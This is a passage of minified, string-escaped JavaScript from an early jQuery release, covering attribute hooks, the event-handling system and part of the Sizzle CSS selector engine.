d=a.getAttributeNode(c),d\u0026\u0026(N[c]?d.value!==\"\":d.specified)?d.value:b},set:function(a,b,c){var d=a.getAttributeNode(c);return d||(d=e.createAttribute(c),a.setAttributeNode(d)),d.value=b+\"\"}},p.each([\"width\",\"height\"],function(a,b){p.attrHooks[b]=p.extend(p.attrHooks[b],{set:function(a,c){if(c===\"\")return a.setAttribute(b,\"auto\"),c}})}),p.attrHooks.contenteditable={get:L.get,set:function(a,b,c){b===\"\"\u0026\u0026(b=\"false\"),L.set(a,b,c)}}),p.support.hrefNormalized||p.each([\"href\",\"src\",\"width\",\"height\"],function(a,c){p.attrHooks[c]=p.extend(p.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),p.support.style||(p.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=\"\"+b}}),p.support.optSelected||(p.propHooks.selected=p.extend(p.propHooks.selected,{get:function(a){var b=a.parentNode;return b\u0026\u0026(b.selectedIndex,b.parentNode\u0026\u0026b.parentNode.selectedIndex),null}})),p.support.enctype||(p.propFix.enctype=\"encoding\"),p.support.checkOn||p.each([\"radio\",\"checkbox\"],function(){p.valHooks[this]={get:function(a){return a.getAttribute(\"value\")===null?\"on\":a.value}}}),p.each([\"radio\",\"checkbox\"],function(){p.valHooks[this]=p.extend(p.valHooks[this],{set:function(a,b){if(p.isArray(b))return a.checked=p.inArray(p(a).val(),b)\u003e=0}})});var V=/^(?:textarea|input|select)$/i,W=/^([^\\.]*|)(?:\\.(.+)|)$/,X=/(?:^|\\s)hover(\\.\\S+|)\\b/,Y=/^key/,Z=/^(?:mouse|contextmenu)|click/,$=/^(?:focusinfocus|focusoutblur)$/,_=function(a){return p.event.special.hover?a:a.replace(X,\"mouseenter$1 mouseleave$1\")};p.event={add:function(a,c,d,e,f){var g,h,i,j,k,l,m,n,o,q,r;if(a.nodeType===3||a.nodeType===8||!c||!d||!(g=p._data(a)))return;d.handler\u0026\u0026(o=d,d=o.handler,f=o.selector),d.guid||(d.guid=p.guid++),i=g.events,i||(g.events=i={}),h=g.handle,h||(g.handle=h=function(a){return typeof p!=\"undefined\"\u0026\u0026(!a||p.event.triggered!==a.type)?p.event.dispatch.apply(h.elem,arguments):b},h.elem=a),c=p.trim(_(c)).split(\" \");for(j=0;j\u003cc.length;j++){k=W.exec(c[j])||[],l=k[1],m=(k[2]||\"\").split(\".\").sort(),r=p.event.special[l]||{},l=(f?r.delegateType:r.bindType)||l,r=p.event.special[l]||{},n=p.extend({type:l,origType:k[1],data:e,handler:d,guid:d.guid,selector:f,namespace:m.join(\".\")},o),q=i[l];if(!q){q=i[l]=[],q.delegateCount=0;if(!r.setup||r.setup.call(a,e,m,h)===!1)a.addEventListener?a.addEventListener(l,h,!1):a.attachEvent\u0026\u0026a.attachEvent(\"on\"+l,h)}r.add\u0026\u0026(r.add.call(a,n),n.handler.guid||(n.handler.guid=d.guid)),f?q.splice(q.delegateCount++,0,n):q.push(n),p.event.global[l]=!0}a=null},global:{},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,q,r=p.hasData(a)\u0026\u0026p._data(a);if(!r||!(m=r.events))return;b=p.trim(_(b||\"\")).split(\" \");for(f=0;f\u003cb.length;f++){g=W.exec(b[f])||[],h=i=g[1],j=g[2];if(!h){for(h in m)p.event.remove(a,h+b[f],c,d,!0);continue}n=p.event.special[h]||{},h=(d?n.delegateType:n.bindType)||h,o=m[h]||[],k=o.length,j=j?new RegExp(\"(^|\\\\.)\"+j.split(\".\").sort().join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null;for(l=0;l\u003co.length;l++)q=o[l],(e||i===q.origType)\u0026\u0026(!c||c.guid===q.guid)\u0026\u0026(!j||j.test(q.namespace))\u0026\u0026(!d||d===q.selector||d===\"**\"\u0026\u0026q.selector)\u0026\u0026(o.splice(l--,1),q.selector\u0026\u0026o.delegateCount--,n.remove\u0026\u0026n.remove.call(a,q));o.length===0\u0026\u0026k!==o.length\u0026\u0026((!n.teardown||n.teardown.call(a,j,r.handle)===!1)\u0026\u0026p.removeEvent(a,h,r.handle),delete m[h])}p.isEmptyObject(m)\u0026\u0026(delete r.handle,p.removeData(a,\"events\",!0))},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,f,g){if(!f||f.nodeType!==3\u0026\u0026f.nodeType!==8){var h,i,j,k,l,m,n,o,q,r,s=c.type||c,t=[];if($.test(s+p.event.triggered))return;s.indexOf(\"!\")\u003e=0\u0026\u0026(s=s.slice(0,-1),i=!0),s.indexOf(\".\")\u003e=0\u0026\u0026(t=s.split(\".\"),s=t.shift(),t.sort());if((!f||p.event.customEvent[s])\u0026\u0026!p.event.global[s])return;c=typeof c==\"object\"?c[p.expando]?c:new p.Event(s,c):new p.Event(s),c.type=s,c.isTrigger=!0,c.exclusive=i,c.namespace=t.join(\".\"),c.namespace_re=c.namespace?new RegExp(\"(^|\\\\.)\"+t.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,m=s.indexOf(\":\")\u003c0?\"on\"+s:\"\";if(!f){h=p.cache;for(j in h)h[j].events\u0026\u0026h[j].events[s]\u0026\u0026p.event.trigger(c,d,h[j].handle.elem,!0);return}c.result=b,c.target||(c.target=f),d=d!=null?p.makeArray(d):[],d.unshift(c),n=p.event.special[s]||{};if(n.trigger\u0026\u0026n.trigger.apply(f,d)===!1)return;q=[[f,n.bindType||s]];if(!g\u0026\u0026!n.noBubble\u0026\u0026!p.isWindow(f)){r=n.delegateType||s,k=$.test(r+s)?f:f.parentNode;for(l=f;k;k=k.parentNode)q.push([k,r]),l=k;l===(f.ownerDocument||e)\u0026\u0026q.push([l.defaultView||l.parentWindow||a,r])}for(j=0;j\u003cq.length\u0026\u0026!c.isPropagationStopped();j++)k=q[j][0],c.type=q[j][1],o=(p._data(k,\"events\")||{})[c.type]\u0026\u0026p._data(k,\"handle\"),o\u0026\u0026o.apply(k,d),o=m\u0026\u0026k[m],o\u0026\u0026p.acceptData(k)\u0026\u0026o.apply(k,d)===!1\u0026\u0026c.preventDefault();return c.type=s,!g\u0026\u0026!c.isDefaultPrevented()\u0026\u0026(!n._default||n._default.apply(f.ownerDocument,d)===!1)\u0026\u0026(s!==\"click\"||!p.nodeName(f,\"a\"))\u0026\u0026p.acceptData(f)\u0026\u0026m\u0026\u0026f[s]\u0026\u0026(s!==\"focus\"\u0026\u0026s!==\"blur\"||c.target.offsetWidth!==0)\u0026\u0026!p.isWindow(f)\u0026\u0026(l=f[m],l\u0026\u0026(f[m]=null),p.event.triggered=s,f[s](),p.event.triggered=b,l\u0026\u0026(f[m]=l)),c.result}return},dispatch:function(c){c=p.event.fix(c||a.event);var d,e,f,g,h,i,j,k,l,m,n,o=(p._data(this,\"events\")||{})[c.type]||[],q=o.delegateCount,r=[].slice.call(arguments),s=!c.exclusive\u0026\u0026!c.namespace,t=p.event.special[c.type]||{},u=[];r[0]=c,c.delegateTarget=this;if(t.preDispatch\u0026\u0026t.preDispatch.call(this,c)===!1)return;if(q\u0026\u0026(!c.button||c.type!==\"click\")){g=p(this),g.context=this;for(f=c.target;f!=this;f=f.parentNode||this)if(f.disabled!==!0||c.type!==\"click\"){i={},k=[],g[0]=f;for(d=0;d\u003cq;d++)l=o[d],m=l.selector,i[m]===b\u0026\u0026(i[m]=g.is(m)),i[m]\u0026\u0026k.push(l);k.length\u0026\u0026u.push({elem:f,matches:k})}}o.length\u003eq\u0026\u0026u.push({elem:this,matches:o.slice(q)});for(d=0;d\u003cu.length\u0026\u0026!c.isPropagationStopped();d++){j=u[d],c.currentTarget=j.elem;for(e=0;e\u003cj.matches.length\u0026\u0026!c.isImmediatePropagationStopped();e++){l=j.matches[e];if(s||!c.namespace\u0026\u0026!l.namespace||c.namespace_re\u0026\u0026c.namespace_re.test(l.namespace))c.data=l.data,c.handleObj=l,h=((p.event.special[l.origType]||{}).handle||l.handler).apply(j.elem,r),h!==b\u0026\u0026(c.result=h,h===!1\u0026\u0026(c.preventDefault(),c.stopPropagation()))}}return t.postDispatch\u0026\u0026t.postDispatch.call(this,c),c.result},props:\"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(a,b){return a.which==null\u0026\u0026(a.which=b.charCode!=null?b.charCode:b.keyCode),a}},mouseHooks:{props:\"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(a,c){var d,f,g,h=c.button,i=c.fromElement;return a.pageX==null\u0026\u0026c.clientX!=null\u0026\u0026(d=a.target.ownerDocument||e,f=d.documentElement,g=d.body,a.pageX=c.clientX+(f\u0026\u0026f.scrollLeft||g\u0026\u0026g.scrollLeft||0)-(f\u0026\u0026f.clientLeft||g\u0026\u0026g.clientLeft||0),a.pageY=c.clientY+(f\u0026\u0026f.scrollTop||g\u0026\u0026g.scrollTop||0)-(f\u0026\u0026f.clientTop||g\u0026\u0026g.clientTop||0)),!a.relatedTarget\u0026\u0026i\u0026\u0026(a.relatedTarget=i===a.target?c.toElement:i),!a.which\u0026\u0026h!==b\u0026\u0026(a.which=h\u00261?1:h\u00262?3:h\u00264?2:0),a}},fix:function(a){if(a[p.expando])return a;var b,c,d=a,f=p.event.fixHooks[a.type]||{},g=f.props?this.props.concat(f.props):this.props;a=p.Event(d);for(b=g.length;b;)c=g[--b],a[c]=d[c];return a.target||(a.target=d.srcElement||e),a.target.nodeType===3\u0026\u0026(a.target=a.target.parentNode),a.metaKey=!!a.metaKey,f.filter?f.filter(a,d):a},special:{ready:{setup:p.bindReady},load:{noBubble:!0},focus:{delegateType:\"focusin\"},blur:{delegateType:\"focusout\"},beforeunload:{setup:function(a,b,c){p.isWindow(this)\u0026\u0026(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b\u0026\u0026(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=p.extend(new p.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?p.event.trigger(e,null,b):p.event.dispatch.call(b,e),e.isDefaultPrevented()\u0026\u0026c.preventDefault()}},p.event.handle=p.event.dispatch,p.removeEvent=e.removeEventListener?function(a,b,c){a.removeEventListener\u0026\u0026a.removeEventListener(b,c,!1)}:function(a,b,c){var d=\"on\"+b;a.detachEvent\u0026\u0026(typeof a[d]==\"undefined\"\u0026\u0026(a[d]=null),a.detachEvent(d,c))},p.Event=function(a,b){if(this instanceof p.Event)a\u0026\u0026a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault\u0026\u0026a.getPreventDefault()?bb:ba):this.type=a,b\u0026\u0026p.extend(this,b),this.timeStamp=a\u0026\u0026a.timeStamp||p.now(),this[p.expando]=!0;else return new p.Event(a,b)},p.Event.prototype={preventDefault:function(){this.isDefaultPrevented=bb;var a=this.originalEvent;if(!a)return;a.preventDefault?a.preventDefault():a.returnValue=!1},stopPropagation:function(){this.isPropagationStopped=bb;var a=this.originalEvent;if(!a)return;a.stopPropagation\u0026\u0026a.stopPropagation(),a.cancelBubble=!0},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=bb,this.stopPropagation()},isDefaultPrevented:ba,isPropagationStopped:ba,isImmediatePropagationStopped:ba},p.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(a,b){p.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj,g=f.selector;if(!e||e!==d\u0026\u0026!p.contains(d,e))a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b;return c}}}),p.support.submitBubbles||(p.event.special.submit={setup:function(){if(p.nodeName(this,\"form\"))return!1;p.event.add(this,\"click._submit keypress._submit\",function(a){var c=a.target,d=p.nodeName(c,\"input\")||p.nodeName(c,\"button\")?c.form:b;d\u0026\u0026!p._data(d,\"_submit_attached\")\u0026\u0026(p.event.add(d,\"submit._submit\",function(a){a._submit_bubble=!0}),p._data(d,\"_submit_attached\",!0))})},postDispatch:function(a){a._submit_bubble\u0026\u0026(delete a._submit_bubble,this.parentNode\u0026\u0026!a.isTrigger\u0026\u0026p.event.simulate(\"submit\",this.parentNode,a,!0))},teardown:function(){if(p.nodeName(this,\"form\"))return!1;p.event.remove(this,\"._submit\")}}),p.support.changeBubbles||(p.event.special.change={setup:function(){if(V.test(this.nodeName)){if(this.type===\"checkbox\"||this.type===\"radio\")p.event.add(this,\"propertychange._change\",function(a){a.originalEvent.propertyName===\"checked\"\u0026\u0026(this._just_changed=!0)}),p.event.add(this,\"click._change\",function(a){this._just_changed\u0026\u0026!a.isTrigger\u0026\u0026(this._just_changed=!1),p.event.simulate(\"change\",this,a,!0)});return!1}p.event.add(this,\"beforeactivate._change\",function(a){var b=a.target;V.test(b.nodeName)\u0026\u0026!p._data(b,\"_change_attached\")\u0026\u0026(p.event.add(b,\"change._change\",function(a){this.parentNode\u0026\u0026!a.isSimulated\u0026\u0026!a.isTrigger\u0026\u0026p.event.simulate(\"change\",this.parentNode,a,!0)}),p._data(b,\"_change_attached\",!0))})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!==\"radio\"\u0026\u0026b.type!==\"checkbox\")return a.handleObj.handler.apply(this,arguments)},teardown:function(){return p.event.remove(this,\"._change\"),V.test(this.nodeName)}}),p.support.focusinBubbles||p.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){var c=0,d=function(a){p.event.simulate(b,a.target,p.event.fix(a),!0)};p.event.special[b]={setup:function(){c++===0\u0026\u0026e.addEventListener(a,d,!0)},teardown:function(){--c===0\u0026\u0026e.removeEventListener(a,d,!0)}}}),p.fn.extend({on:function(a,c,d,e,f){var g,h;if(typeof a==\"object\"){typeof c!=\"string\"\u0026\u0026(d=d||c,c=b);for(h in a)this.on(h,c,d,a[h],f);return this}d==null\u0026\u0026e==null?(e=c,d=c=b):e==null\u0026\u0026(typeof c==\"string\"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=ba;else if(!e)return this;return f===1\u0026\u0026(g=e,e=function(a){return p().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=p.guid++)),this.each(function(){p.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,c,d){var e,f;if(a\u0026\u0026a.preventDefault\u0026\u0026a.handleObj)return e=a.handleObj,p(a.delegateTarget).off(e.namespace?e.origType+\".\"+e.namespace:e.origType,e.selector,e.handler),this;if(typeof a==\"object\"){for(f in a)this.off(f,c,a[f]);return this}if(c===!1||typeof c==\"function\")d=c,c=b;return d===!1\u0026\u0026(d=ba),this.each(function(){p.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){return p(this.context).on(a,this.selector,b,c),this},die:function(a,b){return p(this.context).off(a,this.selector||\"**\",b),this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,\"**\"):this.off(b,a||\"**\",c)},trigger:function(a,b){return this.each(function(){p.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return p.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||p.guid++,d=0,e=function(c){var e=(p._data(this,\"lastToggle\"+a.guid)||0)%d;return p._data(this,\"lastToggle\"+a.guid,e+1),c.preventDefault(),b[e].apply(this,arguments)||!1};e.guid=c;while(d\u003cb.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),p.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu\".split(\" \"),function(a,b){p.fn[b]=function(a,c){return c==null\u0026\u0026(c=a,a=null),arguments.length\u003e0?this.on(b,null,a,c):this.trigger(b)},Y.test(b)\u0026\u0026(p.event.fixHooks[b]=p.event.keyHooks),Z.test(b)\u0026\u0026(p.event.fixHooks[b]=p.event.mouseHooks)}),function(a,b){function bd(a,b,c,d){var e=0,f=b.length;for(;e\u003cf;e++)Z(a,b[e],c,d)}function be(a,b,c,d,e,f){var g,h=$.setFilters[b.toLowerCase()];return h||Z.error(b),(a||!(g=e))\u0026\u0026bd(a||\"*\",d,g=[],e),g.length\u003e0?h(g,c,f):[]}function bf(a,c,d,e,f){var g,h,i,j,k,l,m,n,p=0,q=f.length,s=L.POS,t=new RegExp(\"^\"+s.source+\"(?!\"+r+\")\",\"i\"),u=function(){var a=1,c=arguments.length-2;for(;a\u003cc;a++)arguments[a]===b\u0026\u0026(g[a]=b)};for(;p\u003cq;p++){s.exec(\"\"),a=f[p],j=[],i=0,k=e;while(g=s.exec(a)){n=s.lastIndex=g.index+g[0].length;if(n\u003ei){m=a.slice(i,g.index),i=n,l=[c],B.test(m)\u0026\u0026(k\u0026\u0026(l=k),k=e);if(h=H.test(m))m=m.slice(0,-5).replace(B,\"$\u0026*\");g.length\u003e1\u0026\u0026g[0].replace(t,u),k=be(m,g[1],g[2],l,k,h)}}k?(j=j.concat(k),(m=a.slice(i))\u0026\u0026m!==\")\"?B.test(m)?bd(m,j,d,e):Z(m,c,d,e?e.concat(k):k):o.apply(d,j)):Z(a,c,d,e)}return q===1?d:Z.uniqueSort(d)}function bg(a,b,c){var d,e,f,g=[],i=0,j=D.exec(a),k=!j.pop()\u0026\u0026!j.pop(),l=k\u0026\u0026a.match(C)||[\"\"],m=$.preFilter,n=$.filter,o=!c\u0026\u0026b!==h;for(;(e=l[i])!=null\u0026\u0026k;i++){g.push(d=[]),o\u0026\u0026(e=\" \"+e);while(e){k=!1;if(j=B.exec(e))e=e.slice(j[0].length),k=d.push({part:j.pop().replace(A,\" \"),captures:j});for(f in n)(j=L[f].exec(e))\u0026\u0026(!m[f]||(j=m[f](j,b,c)))\u0026\u0026(e=e.slice(j.shift().length),k=d.push({part:f,captures:j}));if(!k)break}}return k||Z.error(a),g}function bh(a,b,e){var f=b.dir,g=m++;return a||(a=function(a){return a===e}),b.first?function(b,c){while(b=b[f])if(b.nodeType===1)return a(b,c)\u0026\u0026b}:function(b,e){var h,i=g+\".\"+d,j=i+\".\"+c;while(b=b[f])if(b.nodeType===1){if((h=b[q])===j)return b.sizset;if(typeof h==\"string\"\u0026\u0026h.indexOf(i)===0){if(b.sizset)return b}else{b[q]=j;if(a(b,e))return b.sizset=!0,b;b.sizset=!1}}}}function bi(a,b){return a?function(c,d){var e=b(c,d);return e\u0026\u0026a(e===!0?c:e,d)}:b}function bj(a,b,c){var d,e,f=0;for(;d=a[f];f++)$.relative[d.part]?e=bh(e,$.relative[d.part],b):(d.captures.push(b,c),e=bi(e,$.filter[d.part].apply(null,d.captures)));return e}function bk(a){return function(b,c){var d,e=0;for(;d=a[e];e++)if(d(b,c))return!0;return!1}}var c,d,e,f,g,h=a.document,i=h.documentElement,j=\"undefined\",k=!1,l=!0,m=0,n=[].slice,o=[].push,q=(\"sizcache\"+Math.random()).replace(\".\",\"\"),r=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",s=\"(?:\\\\\\\\.|[-\\\\w]|[^\\\\x00-\\\\xa0])+\",t=s.replace(\"w\",\"w#\"),u=\"([*^$|!~]?=)\",v=\"\\\\[\"+r+\"*(\"+s+\")\"+r+\"*(?:\"+u+r+\"*(?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|(\"+t+\")|)|)\"+r+\"*\\\\]\",w=\":(\"+s+\")(?:\\\\((?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\2|((?:[^,]|\\\\\\\\,|(?:,(?=[^\\\\[]*\\\\]))|(?:,(?=[^\\\\(]*\\\\))))*))\\\\)|)\",x=\":(nth|eq|gt|lt|first|last|even|odd)(?:\\\\((\\\\d*)\\\\)|)(?=[^-]|$)\",y=r+\"*([\\\\x20\\\\t\\\\r\\\\n\\\\f\u003e+~])\"+r+\"*\",z=\"(?=[^\\\\x20\\\\t\\\\r\\\\n\\\\f])(?:\\\\\\\\.|\"+v+\"|\"+w.replace(2,7)+\"|[^\\\\\\\\(),])+\",A=new RegExp(\"^\"+r+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+r+\"+$\",\"g\"),B=new RegExp(\"^\"+y),C=new RegExp(z+\"?(?=\"+r+\"*,|$)\",\"g\"),D=new RegExp(\"^(?:(?!,)(?:(?:^|,)\"+r+\"*\"+z+\")*?|\"+r+\"*(.*?))(\\\\)|$)\"),E=new RegExp(z.slice(19,-6)+\"\\\\x20\\\\t\\\\r\\\\n\\\\f\u003e+~])+|\"+y,\"g\"),F=/^(?:#([\\w\\-]+)|(\\w+)|\\.([\\w\\-]+))$/,G=/[\\x20\\t\\r\\n\\f]*[+~]/,H=/:not\\($/,I=/h\\d/i,J=/input|select|textarea|button/i,K=/\\\\(?!\\\\)/g,L={ID:new RegExp(\"^#(\"+s+\")\"),CLASS:new RegExp(\"^\\\\.(\"+s+\")\"),NAME:new RegExp(\"^\\\\[name=['\\\"]?(\"+s+\")['\\\"]?\\\\]\"),TAG:new RegExp(\"^(\"+s.replace(\"[-\",\"[-\\\\*\")+\")\"),ATTR:new RegExp(\"^\"+v),PSEUDO:new RegExp(\"^\"+w),CHILD:new RegExp(\"^:(only|nth|last|first)-child(?:\\\\(\"+r+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+r+\"*(?:([+-]|)\"+r+\"*(\\\\d+)|))\"+r+\"*\\\\)|)\",\"i\"),POS:new RegExp(x,\"ig\"),needsContext:new RegExp(\"^\"+r+\"*[\u003e+~]|\"+x,\"i\")},M={},N=[],O={},P=[],Q=function(a){return a.sizzleFilter=!0,a},R=function(a){return function(b){return b.nodeName.toLowerCase()===\"input\"\u0026\u0026b.type===a}},S=function(a){return function(b){var c=b.nodeName.toLowerCase();return(c===\"input\"||c===\"button\")\u0026\u0026b.type===a}},T=function(a){var b=!1,c=h.createElement(\"div\");try{b=a(c)}catch(d){}return c=null,b},U=T(function(a){a.innerHTML=\"\u003cselect\u003e\u003c/select\u003e\";var b=typeof a.lastChild.getAttribute(\"multiple\");return b!==\"boolean\"\u0026\u0026b!==\"string\"}),V=T(function(a){a.id=q+0,a.innerHTML=\"\u003ca name='\"+q+\"'\u003e\u003c/a\u003e\u003cdiv name='\"+q+\"'\u003e\u003c/div\u003e\",i.insertBefore(a,i.firstChild);var b=h.getElementsByName\u0026\u0026h.getElementsByName(q).length===2+h.getElementsByName(q+0).length;return g=!h.getElementById(q),i.removeChild(a),b}),W=T(function(a){return a.appendChild(h.createComment(\"\")),a.getElementsByTagName(\"*\").length===0}),X=T(function(a){return a.innerHTML=\"\u003ca href='#'\u003e\u003c/a\u003e\",a.firstChild\u0026\u0026typeof a.firstChild.getAttribute!==j\u0026\u0026a.firstChild.getAttribute(\"href\")===\"#\"}),Y=T(function(a){return a.innerHTML=\"\u003cdiv class='hidden e'\u003e\u003c/div\u003e\u003cdiv class='hidden'\u003e\u003c/div\u003e\",!a.getElementsByClassName||a.getElementsByClassName(\"e\").length===0?!1:(a.lastChild.className=\"e\",a.getElementsByClassName(\"e\").length!==1)}),Z=function(a,b,c,d){c=c||[],b=b||h;var e,f,g,i,j=b.nodeType;if(j!==1\u0026\u0026j!==9)return[];if(!a||typeof a!=\"string\")return c;g=ba(b);if(!g\u0026\u0026!d)if(e=F.exec(a))if(i=e[1]){if(j===9){f=b.getElementById(i);if(!f||!f.parentNode)return c;if(f.id===i)return c.push(f),c}else if(b.ownerDocument\u0026\u0026(f=b.ownerDocument.getElementById(i))\u0026\u0026bb(b,f)\u0026\u0026f.id===i)return c.push(f),c}else{if(e[2])return o.apply(c,n.call(b.getElementsByTagName(a),0)),c;if((i=e[3])\u0026\u0026Y\u0026\u0026b.getElementsByClassName)return o.apply(c,n.call(b.getElementsByClassName(i),0)),c}return bm(a,b,c,d,g)},$=Z.selectors={cacheLength:50,match:L,order:[\"ID\",\"TAG\"],attrHandle:{},createPseudo:Q,find:{ID:g?function(a,b,c){if(typeof b.getElementById!==j\u0026\u0026!c){var d=b.getElementById(a);return d\u0026\u0026d.parentNode?[d]:[]}}:function(a,c,d){if(typeof c.getElementById!==j\u0026\u0026!d){var e=c.getElementById(a);return e?e.id===a||typeof e.getAttributeNode!==j\u0026\u0026e.getAttributeNode(\"id\").value===a?[e]:b:[]}},TAG:W?function(a,b){if(typeof b.getElementsByTagName!==j)return b.getElementsByTagName(a)}:function(a,b){var c=b.getElementsByTagName(a);if(a===\"*\"){var d,e=[],f=0;for(;d=c[f];f++)d.nodeType===1\u0026\u0026e.push(d);return e}return c}},relative:{\"\u003e\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(K,\"\"),a[3]=(a[4]||a[5]||\"\").replace(K,\"\"),a[2]===\"~=\"\u0026\u0026(a[3]=\" \"+a[3]+\" \"),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),a[1]===\"nth\"?(a[2]||Z.error(a[0]),a[3]=+(a[3]?a[4]+(a[5]||1):2*(a[2]===\"even\"||a[2]===\"odd\")),a[4]=+(a[6]+a[7]||a[2]===\"odd\")):a[2]\u0026\u0026Z.error(a[0]),a},PSEUDO:function(a){var b,c=a[4];return L.CHILD.test(a[0])?null:(c\u0026\u0026(b=D.exec(c))\u0026\u0026b.pop()\u0026\u0026(a[0]=a[0].slice(0,b[0].length-c.length-1),c=b[0].slice(0,-1)),a.splice(2,3,c||a[3]),a)}},filter:{ID:g?function(a){return a=a.replace(K,\"\"),function(b){return b.getAttribute(\"id\")===a}}:function(a){return a=a.replace(K,\"\"),function(b){var c=typeof b.getAttributeNode!==j\u0026\u0026b.getAttributeNode(\"id\");return c\u0026\u0026c.value===a}},TAG:function(a){return a===\"*\"?function(){return!0}:(a=a.replace(K,\"\").toLowerCase(),function(b){return b.nodeName\u0026\u0026b.nodeName.toLowerCase()===a})},CLASS:function(a){var b=M[a];return b||(b=M[a]=new RegExp(\"(^|\"+r+\")\"+a+\"(\"+r+\"|$)\"),N.push(a),N.length\u003e$.cacheLength\u0026\u0026delete M[N.shift()]),function(a){return b.test(a.className||typeof a.getAttribute!==j\u0026\u0026a.getAttribute(\"class\")||\"\")}},ATTR:function(a,b,c){return b?function(d){var e=Z.attr(d,a),f=e+\"\";if(e==null)return b===\"!=\";switch(b){case\"=\":return f===c;case\"!=\":return f!==c;case\"^=\":return c\u0026\u0026f.indexOf(c)===0;case\"*=\":return c\u0026\u0026f.indexOf(c)\u003e-1;case\"$=\":return c\u0026\u0026f.substr(f.length-c.length)===c;case\"~=\":return(\" \"+f+\" \").indexOf(c)\u003e-1;case\"|=\":return f===c||f.substr(0,c.length+1)===c+\"-\"}}:function(b){return Z.attr(b,a)!=null}},CHILD:function(a,b,c,d){if(a===\"nth\"){var e=m++;return function(a){var b,f,g=0,h=a;if(c===1\u0026\u0026d===0)return!0;b=a.parentNode;if(b\u0026\u0026(b[q]!==e||!a.sizset)){for(h=b.firstChild;h;h=h.nextSibling)if(h.nodeType===1){h.sizset=++g;if(h===a)break}b[q]=e}return f=a.sizset-d,c===0?f===0:f%c===0\u0026\u0026f/c\u003e=0}}return function(b){var c=b;switch(a){case\"only\":case\"first\":while(c=c.previousSibling)if(c.nodeType===1)return!1;if(a===\"first\")return!0;c=b;case\"last\":while(c=c.nextSibling)if(c.nodeType===1)return!1;return!0}}},PSEUDO:function(a,b,c,d){var e=$.pseudos[a]||$.pseudos[a.toLowerCase()];return e||Z.error(\"unsupported pseudo: \"+a),e.sizzleFilter?e(b,c,d):e}},pseudos:{not:Q(function(a,b,c){var d=bl(a.replace(A,\"$1\"),b,c);return function(a){return!d(a)}}),enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return b===\"input\"\u0026\u0026!!a.checked||b===\"option\"\u0026\u0026!!a.selected},selected:function(a){return a.parentNode\u0026\u0026a.parentNode.selectedIndex,a.selected===!0},parent:function(a){return!$.pseudos.empty(a)},empty:function(a){var b;a=a.firstChild;while(a){if(a.nodeName\u003e\"@\"||(b=a.nodeType)===3||b===4)return!1;a=a.nextSibling}return!0},contains:Q(function(a){return function(b){return(b.textContent||b.innerText||bc(b)).indexOf(a)\u003e-1}}),has:Q(function(a){return function(b){return Z(a,b).length\u003e0}}),header:function(a){return I.test(a.nodeName)},text:function(a){var b,c;return a.nodeName.toLowerCase()===\"input\"\u0026\u0026(b=a.type)===\"text\"\u0026\u0026((c=a.getAttribute(\"type\"))==null||c.toLowerCase()===b)},radio:R(\"radio\"),checkbox:R(\"checkbox\"),file:R(\"file\"),password:R(\"password\"),image:R(\"image\"),submit:S(\"submit\"),reset:S(\"reset\"),button:function(a){var b=a.nodeName.toLowerCase();return b===\"input\"\u0026\u0026a.type===\"button\"||b===\"button\"},input:function(a){return J.test(a.nodeName)},focus:function(a){var b=a.ownerDocument;return a===b.activeElement\u0026\u0026(!b.hasFocus||b.hasFocus())\u0026\u0026(!!a.type||!!a.href)},active:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b,c){return c?a.slice(1):[a[0]]},last:function(a,b,c){var d=a.pop();return c?a:[d]},even:function(a,b,c){var d=[],e=c?1:0,f=a.length;for(;e\u003cf;e=e+2)d.push(a[e]);return d},odd:function(a,b,c){var 